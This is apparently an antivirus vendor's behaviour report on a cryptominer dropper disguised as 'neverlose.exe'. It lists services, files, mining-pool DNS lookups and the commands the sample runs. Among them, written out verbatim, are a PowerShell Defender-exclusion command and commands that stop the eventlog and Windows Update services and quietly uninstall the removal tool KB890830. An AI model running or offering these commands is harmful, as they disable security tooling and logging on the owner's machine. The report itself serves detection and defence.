Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\DUIILBKD] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\DUIILBKD] 'ImagePath' = '%ALLUSERSPROFILE%\qnmdignxcigc\byaljuzwwdql.exe'
- [HKLM\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\TEMP\huvgvctvkgja.sys'
Creates the following services
- 'DUIILBKD' %ALLUSERSPROFILE%\qnmdignxcigc\byaljuzwwdql.exe
- 'WinRing0_1_2_0' %WINDIR%\TEMP\huvgvctvkgja.sys
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Injects code into
the following system processes:
- <SYSTEM32>\conhost.exe
Modifies file system
Creates the following files
- %TEMP%\main\file.bin
- %ALLUSERSPROFILE%\qnmdignxcigc\byaljuzwwdql.exe
- %TEMP%\main\extracted\neverlose.exe
- %TEMP%\main\extracted\file_1.zip
- %TEMP%\main\extracted\file_2.zip
- %TEMP%\main\extracted\file_3.zip
- %TEMP%\main\extracted\file_4.zip
- %TEMP%\main\extracted\file_5.zip
- %TEMP%\main\extracted\file_6.zip
- %TEMP%\main\extracted\file_7.zip
- %TEMP%\main\extracted\file_8.zip
- %TEMP%\main\extracted\file_9.zip
- %TEMP%\main\extracted\antiav.data
- %TEMP%\main\extracted\file_10.zip
- %TEMP%\main\7z.exe
- %TEMP%\main\7z.dll
- %TEMP%\main\main.bat
- %TEMP%\main\killduplicate.cmd
- %WINDIR%\temp\huvgvctvkgja.sys
- %WINDIR%\temp\uddac07.tmp
Sets the 'hidden' attribute to the following files
- %TEMP%\main\killduplicate.cmd
- %TEMP%\main\neverlose.exe
Deletes the following files
- %TEMP%\main\extracted\file_1.zip
- %TEMP%\main\extracted\file_10.zip
- %TEMP%\main\extracted\file_2.zip
- %TEMP%\main\extracted\file_3.zip
- %TEMP%\main\extracted\file_4.zip
- %TEMP%\main\extracted\file_5.zip
- %TEMP%\main\extracted\file_6.zip
- %TEMP%\main\extracted\file_7.zip
- %TEMP%\main\extracted\file_8.zip
- %TEMP%\main\extracted\file_9.zip
- %WINDIR%\temp\uddac07.tmp
Moves the following files
- from %TEMP%\main\file.bin to %TEMP%\main\file.zip
- from %TEMP%\main\extracted\neverlose.exe to %TEMP%\main\neverlose.exe
Substitutes the following files
- %TEMP%\main\file.bin
Network activity
UDP
- DNS ASK de.#####r.herominers.com
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '%TEMP%\main\7z.exe' e file.zip -p2166071564197132122676019839 -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_10.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_9.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_8.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_7.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_6.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_5.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_4.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_3.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_2.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_1.zip -oextracted
- '%TEMP%\main\neverlose.exe'
- '%ALLUSERSPROFILE%\qnmdignxcigc\byaljuzwwdql.exe'
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\main\main.bat" /S"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\main\main.bat" /S"
- '<SYSTEM32>\sc.exe' create "DUIILBKD" binpath= "%ALLUSERSPROFILE%\qnmdignxcigc\byaljuzwwdql.exe" start= "auto"
- '<SYSTEM32>\sc.exe' delete "DUIILBKD"
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\attrib.exe' +H "neverlose.exe"
- '<SYSTEM32>\mode.com' 65,10
- '<SYSTEM32>\sc.exe' start "DUIILBKD"
- '<SYSTEM32>\sc.exe' stop eventlog
